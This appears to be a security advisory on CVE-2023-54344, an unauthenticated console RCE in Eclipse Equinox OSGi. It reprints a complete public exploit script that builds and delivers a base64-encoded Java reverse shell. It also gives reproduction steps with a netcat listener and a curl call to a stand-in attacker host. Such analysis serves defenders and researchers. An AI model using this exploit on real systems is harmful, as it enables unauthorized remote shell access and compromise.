Introduction
An unauthenticated management console exposed to the network with full command execution capabilities is about as dangerous as it sounds. CVE-2023-54344 in Eclipse Equinox OSGi delivers exactly that scenario, carrying a CVSS 3.1 score of 9.8 and public exploit code that makes exploitation trivial.
Eclipse Equinox is the reference implementation of the OSGi core framework specification, serving as the modular runtime foundation for the Eclipse IDE and a wide range of enterprise Java applications. Its plugin architecture is used across industries in products ranging from development tools to embedded systems and IoT platforms. Any deployment running the Equinox console with network exposure is potentially affected by this vulnerability.
Technical Information
The vulnerability is rooted in CWE-306: Missing Authentication for Critical Function. When Eclipse Equinox OSGi is started with the -console option, it exposes a management interface accessible via Telnet or raw TCP connections. By default, this interface binds to all network interfaces (0.0.0.0), accepting connections from any IP address. No authentication is required to interact with the console.
The console provides two command execution primitives relevant to exploitation:
- exec: Executes a process and waits for the result, but only returns the exit code without standard output.
- fork: Executes a process without waiting for completion.
Because exec does not return stdout, attackers prefer the fork command for blind command injection. The console also has input restrictions, notably the inability to process single quotes, which attackers circumvent by base64 encoding their payloads.
Attack Flow
A typical exploitation sequence proceeds as follows:
- The attacker identifies an exposed OSGi console port (commonly port 1337) on the target system.
- The attacker establishes a raw TCP connection to the console port.
- The attacker constructs a payload: a bash command is base64 encoded, then wrapped in a
forkdirective. The bash command itself writes a Java reverse shell source file to disk and executes it. - The payload is sent over the TCP connection. The
forkcommand executes the decoded bash command on the target system without any authentication check. - The Java reverse shell connects back to the attacker's listener, providing full interactive shell access to the target system.
The base64 encoding step is critical: it allows the attacker to embed arbitrary characters (including single quotes needed for the Java source code) that the console would otherwise reject or misinterpret. The payload format follows this pattern:
fork "bash -c {echo,<BASE64_ENCODED_PAYLOAD>}|{base64,-d}|{bash,-i}"
While CVE-2023-54344 specifically covers versions 3.7.2 and earlier, researchers have demonstrated that versions 3.8 through 3.18 remain vulnerable to similar multi-stage exploitation when the console is exposed without authentication. A separate exploit (EDB-ID 51878) targets these newer versions.
Proof of Concept
A fully functional public exploit exists for CVE-2023-54344, authored by Andrzej Olchawa and Milenko Starcik of VisionSpace Technologies GmbH. It is published on Exploit-DB (EDB-ID: 51879, dated 2024-03-12) and hosted on GitHub with a Docker-based demonstration environment.
The exploit script connects to the exposed OSGi console port, constructs a Java-based reverse shell payload, base64 encodes it, and delivers it via the fork command:
#!/usr/bin/python # Exploit Title: [OSGi v3.7.2 Console RCE] # Date: [2023-07-28] # Exploit Author: [Andrzej Olchawa, Milenko Starcik, # VisionSpace Technologies GmbH] # Exploit Repository: # [https://github.com/visionspacetec/offsec-osgi-exploits.git] # Vendor Homepage: [https://eclipse.dev/equinox] # Software Link: [https://archive.eclipse.org/equinox/] # Version: [3.7.2 and before] # Tested on: [Linux kali 6.3.0-kali1-amd64] # License: [MIT] import argparse import base64 import socket def parse(): parser = argparse.ArgumentParser( prog="OSGi-3.7.2-console-RCE", description="This tool will let you open a reverse shell from the " "system that is running OSGi with the '-console' " "option in version 3.7.2 (or before).", epilog="Happy Hacking! :)", ) parser.add_argument("--rhost", dest="rhost", help="remote host", type=str, required=True) parser.add_argument("--rport", dest="rport", help="remote port", type=int, required=True) parser.add_argument("--lhost", dest="lhost", help="local host", type=str, required=False) parser.add_argument("--lport", dest="lport", help="local port", type=int, required=False) parser.add_argument("--payload", dest="custom_payload", help="custom payload", type=str, required=False) parser.add_argument("--version", action="version", version="%(prog)s 0.1.0") args = parser.parse_args() if args.custom_payload and (args.lhost or args.lport): parser.error("either --payload or both --lport and --rport are required.") return args def generate_payload(lhost, lport, custom_payload): payload = "" if custom_payload: payload = custom_payload elif lhost and lport: payload = ( "echo 'import java.io.IOException;import java.io.InputStream;" "import java.io.OutputStream;import java.net.Socket;class Rev" "Shell {public static void main(String[] args) throws Excepti" "on { String host=\"%s\";int port=%s;String cmd=\"sh\";Proces" "s p=new ProcessBuilder(cmd).redirectErrorStream(true).start(" ");Socket s=new Socket(host,port);InputStream pi=p.getInputSt" "ream(),pe=p.getErrorStream(), si=s.getInputStream();OutputSt" "ream po=p.getOutputStream(), so=s.getOutputStream();while(!s" ".isClosed()){while(pi.available()>0)so.write(pi.read());whil" "e(pe.available()>0)so.write(pe.read());while(si.available()>" "0)po.write(si.read());so.flush();po.flush();Thread.sleep(50)" ";try {p.exitValue();break;}catch (Exception e){}};p.destroy(" ");s.close();}}' > RevShell.java ; java ./RevShell.java" % ( lhost, lport)) bash_payload = b"bash -c {echo,%s}|{base64,-d}|{bash,-i}" % ( base64.b64encode(payload.encode())) wrapped_payload = b"fork \"%s\"\n" % (bash_payload) return wrapped_payload def deliver_payload(rhost, rport, payload): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((rhost, rport)) sock.send(payload) sock.close() except socket.error as err: print(f"(-) Could not deliver the payload to {rhost}:{rport}!") return False return True def main(args): payload = generate_payload(args.lhost, args.lport, args.custom_payload) success = deliver_payload(args.rhost, args.rport, payload) if success: print("(+) Done.") else: print("(-) Finished with errors.") if __name__ == "__main__": main(parse())
Reproduction Steps
- Download OSGi 3.7.2 from the Eclipse archive and set up the Docker environment:
mkdir -p ./resources/jarfiles docker build -t osgi_v3.7.2 . docker run --network="host" -it --rm osgi_v3.7.2
- Set up a netcat listener on the attacker machine:
nc -nvlp 4444
- Run the exploit to obtain a reverse shell:
python exploit.py --rhost=localhost --rport=1337 --lhost=localhost --lport=4444
The exploit also supports custom command payloads via the --payload flag (for example, --payload="curl http://attacker/test"), making it useful for scenarios beyond reverse shells.
Affected Systems and Versions
The following versions and configurations are affected:
| OSGi Version Range | Exploit Availability | Default Authentication |
|---|---|---|
| 3.7.2 and earlier | ExploitDB 51879 | None |
| 3.8 through 3.18 | ExploitDB 51878 | None |
The vulnerability is exploitable when the Equinox runtime is started with the -console option and the console port is accessible over the network. Systems where the console is bound only to localhost or protected by firewall rules limiting access to trusted addresses are not directly exploitable via this attack vector.
References
- NVD: CVE-2023-54344
- CVE Record: CVE-2023-54344
- VulnCheck Advisory: Eclipse Equinox OSGi Remote Code Execution via Console
- Exploit-DB: OSGi v3.7.2 Console RCE (EDB-ID 51879)
- Exploit-DB: OSGi v3.8-3.18 Console RCE (EDB-ID 51878)
- GitHub: VisionSpace OSGi Exploits (v3.1.1-3.7.2)
- VisionSpace: Exploitation of the OSGi Console
- Rapid7 Vulnerability Database: OSGi Console Exec Module
- Eclipse Equinox Console Shell Documentation
- Eclipse Known Vulnerabilities



